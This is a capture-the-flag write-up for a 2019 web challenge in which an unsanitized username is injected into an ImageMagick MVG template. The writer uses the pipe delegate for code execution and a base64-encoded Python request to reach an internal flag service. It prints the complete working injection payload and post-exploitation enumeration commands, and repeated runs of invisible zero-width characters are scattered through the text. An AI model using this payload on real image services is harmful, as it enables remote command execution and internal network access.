← Back to Writeups
HTBN/AWeb

Ecler 2

XESXOR8/23/20264 min read
#web#htb#n/a

Ecler 2

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2019-11-10 | Status: Solved Techniques: base64_payload_encoding, imagemagick_pipe_delegate, mvg_injection, restricted_user_bypass, ssrf_to_internal_service

Summary

Task: Flask image hosting service with ImageMagick processing and internal Docker service. Solution: MVG injection via unsanitized username to achieve RCE through pipe delegate, bypassing network restrictions with Python urllib to SSRF internal service.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: spbctf | ID: 20191110_spbctf_ecler2
  • Tags: flask, imagemagick, mvg, ssrf, docker, rce, pipe_delegate
  • Indicators: ImageMagick convert command, MVG template with user input, unsanitized username in template, internal Docker service, pipe delegate |command syntax
  • Source: 20191110_spbctf_ecler2.md

Foothold

Vulnerability / Misconfiguration

  1. Base64_payload_encoding
  2. Imagemagick_pipe_delegate
  3. Mvg_injection
  4. Restricted_user_bypass
  5. Ssrf_to_internal_service
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • base64_payload_encoding
  • imagemagick_pipe_delegate
  • mvg_injection
  • restricted_user_bypass
  • ssrf_to_internal_service
  • Tags: flask, imagemagick, mvg, ssrf, docker, rce, pipe_delegate

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Eclergram" — an image hosting service ("Only cats and food"). Flask application source code is provided. To get the flag, you need to execute: curl http://flag2/index.php -d "gimme_flag=da" — meaning SSRF/RCE is required to access the internal flag2 service.

URL: https://2019-11-10-ecler.ctf.su/ Source: https://github.com/SPbCTF/bigtraining/blob/master/ecler/service/server.py

Analysis

Vulnerable Code

The Flask application processes uploaded images through ImageMagick convert using an MVG (Magick Vector Graphics) template: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

conv_template = """
push graphic-context
viewbox 0 0 640 640
image Add 0,0,640,640 '%s'

push graphic-context
        font-size 40
        fill 'black'
        stroke-width 1
        text 32,590 '%s'
pop graphic-context
pop graphic-context
"""

Key vulnerability:

  • First %s — uploaded filename (sanitized via re.sub(r'[^A-Za-z0-9-]',r'',''))
  • Second %suser logincompletely unsanitized!

Actual server code (differs from GitHub):

raw_cmd = "su - u_convert -c 'cd /home/ecler && convert %s %s'" %(mvg, user_file)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Restrictions

  • The convert command runs as user u_convert (uid=1000)
  • User u_convert has no network access — curl/wget don't work
  • Server files are owned by root — modification is impossible

Solution

Step 1: MVG Injection via username

Register a user with a malicious username that escapes the text command and injects an image Over directive with pipe delegate:

x'
pop graphic-context
push graphic-context
image Over 0,0 0,0 '|<COMMAND>'
push graphic-context
text 0,300 'y

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The resulting MVG file becomes valid, while an arbitrary command is executed through ImageMagick's pipe delegate.

Step 2: Reconnaissance via RCE

Confirmed command execution:

# Test file writing
touch /home/ecler/images/testtouch.jpg  # ✓

# Read configuration
cat /home/ecler/server.py > /home/ecler/images/servercode.txt  # ✓

# Network configuration
cat /etc/hosts  # flag2 -> 10.132.8.98

Important discovery: curl and wget don't work from u_convert — no network access!

Step 3: Bypassing Network Restriction via Python

Since curl is blocked, we use Python urllib: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

import urllib.request
r = urllib.request.urlopen(urllib.request.Request('http://flag2/index.php', data=b'gimme_flag=da'))
open('/home/ecler/images/pyflag.txt','wb').write(r.read())

Base64-encode and execute via pipe delegate:

|echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0CnIgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoJ2h0dHA6Ly9mbGFnMi9pbmRleC5waHAnLCBkYXRhPWInZ2ltbWVfZmxhZz1kYScpKQpvcGVuKCcvaG9tZS9lY2xlci9pbWFnZXMvcHlmbGFnLnR4dCcsJ3diJykud3JpdGUoci5yZWFkKCkpCg== | base64 -d | python3

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Getting the Flag

Python urllib successfully executed a POST request to http://flag2/index.php and wrote the flag to /home/ecler/images/pyflag.txt.

File access: https://2019-11-10-ecler.ctf.su/images/pyflag.txt

Full Payload (username)

x'
pop graphic-context
push graphic-context
image Over 0,0 0,0 '|echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0CnIgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoJ2h0dHA6Ly9mbGFnMi9pbmRleC5waHAnLCBkYXRhPWInZ2ltbWVfZmxhZz1kYScpKQpvcGVuKCcvaG9tZS9lY2xlci9pbWFnZXMvcHlmbGFnLnR4dCcsJ3diJykud3JpdGUoci5yZWFkKCkpCg== | base64 -d | python3'
push graphic-context
text 0,300 'y

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

What Did NOT Work (important for learning)

AttemptResult
curl/wget from u_convertNo network access
Werkzeug debugger PINPIN auth exhausted
Modifying server.pyFiles owned by root
su to rootAuthentication failure
ImageMagick URL protocols (http:, url:)Don't load content
Shell scripts with curl insidecurl still blocked
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR